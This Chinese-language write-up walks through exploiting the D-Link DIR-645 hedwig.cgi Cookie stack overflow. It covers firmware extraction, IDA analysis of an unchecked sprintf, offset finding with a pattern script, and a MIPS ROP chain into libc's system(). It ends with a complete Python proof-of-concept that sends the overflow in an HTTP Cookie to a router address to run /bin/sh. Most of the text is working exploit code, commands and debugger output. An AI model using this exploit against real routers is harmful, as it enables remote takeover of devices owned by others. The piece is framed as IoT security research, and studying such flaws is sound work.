https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof
这个栈溢出的原因是由于cookie的值过长导致的栈溢出。服务端取得客户端请求的HTTP头中Cookie字段中uid的值,格式化到栈上导致溢出。通过对漏洞点进行分析,搭建模拟环境并完成整个漏洞利用过程。
(文章中有不足之处,还请各位朋友多多指教,也欢迎对iot安全感兴趣的朋友加入我们,共同研究)
1. 固件分析:
下载固件:
wget ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
使用firmware-mod-kit/extract-firmware.sh 将固件中的文件系统提取出来
oit@ubuntu:~/0dayTest/dir645$ ~/tools/firmware-mod-kit/extract-firmware.sh ./dir645_FW_103.bin
该漏洞的核心组件为 dir645_FW_103/rootfs$ ./htdocs/web/hedwig.cgi
查看hedwig.cgi 文件:
可以看出,漏洞组件hedwig.cgi 是一个指向 ./htdocs/cgibin 的符号链接,也就是说真正的漏洞代码在cgibin中。
2. 漏洞成因分析
漏洞产生的原因是Cookie的值超长,接下来,我们就具体定位和分析漏洞产生原因。
因为hedwig.cgi 是一个指向 ./htdocs/cgibin 的符号链接,所有我们使用IDA 加载/htdocs/cgibin。
Shift+F12 打开 Strings window,搜索 HTTP_COOKIE,定位到其在rodata中具体位置,并查看
sess_get_uid+6C,定位进去可以发现 getenv(“HTTP_COOKIE”) 获取环境变量
继续定位 sess_get_uid 的引用,上下查看得知,getenv(“HTTP_COOKIE”) 作为 sprintf 函数的参数:
上下分析可知敏感函数 sprintf 为:
向上追溯$s1:
$a0 : ($sp, 0x4E8+var_428)
sprintf(($sp,0x4E8+var_428),”%s/%s/postxml”,”/runtime/session”,getenv(“HTTP_COOKIE”))
至此,我们可知,sprintf 格式化之后的数据保存到 $a0 对应的栈中,而$a0 所对应的的栈的大小有限,并且没有对 getenv(“HTTP_COOKIE”) 获取的数据进行检查,因此,如果getenv(“HTTP_COOKIE”) 所获取的环境变量数据足够长,就可以造成栈缓冲区溢出,进而覆盖保存在栈区中的 $ra,$fp等值。
3. 验证栈缓冲区溢出、定位偏移
***** patternLocOffset.py ************
# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
# pattern create
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
# pattern search
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1: # MBS
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian():
'''
parse argument
'''
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
'''
save all argument
'''
length= args.length
output = args.file
createCode = args.create
searchCode = args.search
if createCode and (0
****** pentest_cgi.sh *****************
# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.126.139" -g 2234 /htdocs/web/hedwig.cgi
*****************************************
(1) 生成定位字符串
~/0dayTest$ sudo python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test
(2) 执行pentest_cgi.sh 定位字符串,设置环境变量,模拟真实的运行环境
oit@ubuntu:~/0dayTest$./pentest_cgi.sh
在 .text:0040C5B8 lw $ra, 0x4E4($sp) 处下断点,执行:
按F7单步,可以看到RA的值为 $ra:0x38694237,改变了$ra的值
单步执行到 0x0040C5E4,当场奔溃
3) 查看偏移位置
在填充文件 dir645_patternLocOffset_test 中搜索 0x38694237:
oit@ubuntu:~/0dayTest$ python2.7 patternLocOffset.py -s 0x38694237 -l 2000
[*] Create pattern string contains 2000 characters
ok!
[+] Possible match at offset 1043 (adjusted another-endian)
[+] take time: 0.0014 s
4. 构造ROP Chain:实现system函数的调用
(1) system函数地址:
system 在 libc.so.0中,使用IDA打开,找到system函数,查看其偏移为:0x53200
(2) 搜索调用system函数的指令
找到system函数地址以后,搜索可以调用system的指令。使用IDA插件“MIPS ROP Finder”在libc.so.0中搜索调用system函数的指令。
输入:mipsrop.stackfinder()
0x159cc处的指令序列,现将$sp + 0x10地址存入寄存器$s5中,而在偏移0x159E0处将$s5 作为参数存入$a0,也就是说,这里需要将第一步得到的system 地址填充到$s0中,然后在$sp + 0x10处填充需要执行的命令,即可实现对system("command")函数的调用。
(3) 查看系统加载libc.so.0 动态库时的基地址:
通过 qemu-system-mipsel 启动mipsel 模拟系统
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic
动态调试:
root@debian-mipsel:~#chroot $PWD ./gdbserver192.168.126.150:2345 ./htdocs/web/hedwig.cgi
查看进程内存映射:
root@debian-mipsel:~# cat /proc/2636/maps
lrwxrwxrwx 1 root root 21 libc.so.0 -> libuClibc-0.9.30.1.so
libc.so.0的基地址为:
libc = 0x77f34000
(4) 避开低地址为 0x00方法:
1 原因
系统加载libc.so.0动态库时的基地址为 0x77f34000,所以system函数的实际地址为:
0x77f34000 + 0x53200 = 0x77F87200
因为system实际地址的最低位为0x00,在使用sprintf函数时可能被截断,造成缓冲区溢出失败。
2 解决方法:
将$s0 覆盖为 0x77F871FF(0x77f34000 + 0x531FF),然后在libc.so.0中搜索一条指令对$s0进行操作,再跳到“call system”指令。
mipsrop.find("addiu $s0,1")
选择 0x000158C8 处的指令序列:
ROP调用过程:
$ra = 0x77f34000 + 0x000158C8 = 0x77F498C8
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
调用system函数:
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10
.text:000159CC addiu $s5, $sp, 0x10
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
.text:000159E0 move $a0, $s5
5. 生成POC
(1) 根据ROP的构造编写漏洞利用代码:
dir645-POC.py
# coding:utf-8
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES=[0x00]
LITTLE = "little"
BIG = 'big'
FILLER = 'A'
BYTES = 4
def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
# get RA addr
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self,size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self,value, size= BYTES):
data =''
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for cbyte in self.badbytes:
if c == chr(cbyte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))
count +=1
return self.shellcode
def Print(self, bp1=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\\x%.2X"%ord(c))
sys.stdout.flush()
if bp1 > 0:
i += 1
print "\n"
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
#just for DIR645
if type(data) == dict:
pdata =[]
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s'%(self.proto, self.host)
uri = '/%s'%uri
if data is not None:
data = self.Encode(data)
#print data
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST', uri, data, headers=headers)
response=httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x77f34000 #0x40854000
'''
ROP
$ra = 0x77f34000 + 0x000158C8
*************************************************
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
0x158c8:
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
*************************************************
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10
0x159cc:
.text:000159CC addiu $s5, $sp, 0x10
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
'''
target = {
"645-1.03":[0x531ff, 0x158c8, 0x159cc],
}
v = '645-1.03'
cmd = '/bin/sh'
ip = '192.168.0.1'
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddBuffer(1007) #filler
payload.AddAddress(target[v][0], base=libc) #$s0 0x77f34000 + 0x531ff
payload.AddBuffer(4) #$s1
payload.AddBuffer(4) #$s2
payload.AddBuffer(4) #$s3
payload.AddBuffer(4) #$s4
payload.AddAddress(target[v][2], base=libc) #$s5 # 0x77f34000 +0x159cc
payload.AddBuffer(4) #unused($s6)
payload.AddBuffer(4) #unused($s7)
#payload.Add(payload.ToString(0x0043B6D0))
payload.AddBuffer(4) #unused($gp)
# 1043
payload.AddAddress(target[v][1], base=libc) #$ra # 0x77f34000 +0x158c8= 0x77F498C8
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.Add(cmd) # shellcode
pdata = {
'uid':'shuidi',
'password':'shuidi',
}
print payload.shellcode
payload = payload.Build()
print payload
fw = open('dir645_patternLocOffset_test', 'w')
fw.write(payload) # 'A'
fw.close()
'''
header = {
'Cookie' : 'uid='+payload.Build(),
'Accept-Encoding' : 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
try:
HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True)
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception,e:
print "2Payload delivery failed: %s" % str(e)
'''
set-environment.sh
export TEST=$(python2.7 -c "print uid='+open('dir645_patternLocOffset_test','r').read()+ chr(0)")
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$TEST
export CONTENT_LENGTH=$LEN
export REQUEST_URI="/hedwig.cgi"
export REQUEST_METHOD="POST"
export REMOTE_ADDR="192.168.126.150"
(2) 执行测试:
python2.7 ./dir645-POC.py
source ./set-environment.sh
chroot $PWD ./gdbserver 192.168.126.150:2345 ./htdocs/web/hedwig.cgi
(3) 使用IDA远程动态调试
在.text:0040C5E4 jr $ra 处下断点, F9运行
$ra = 0x77F498C8,正确
单步执行,跳转到 libc.so.0 库 0x158c8 指令集位置处:
$s0 : 0x77F871FF
$s5 : 0x77F499CC 正确
单步执行,跳转到 偏移0x159cc 指令序列位置,
$s5 : 0x7FFF63C0
$t9 = $s0 : 0x77F87200 正确
F9,执行system,在终端上执行 ls命令,查看现象:
至此,shellcode 成功执行:system("/bin/sh")
参考资料:
《揭秘家用路由器0day漏洞挖掘技术》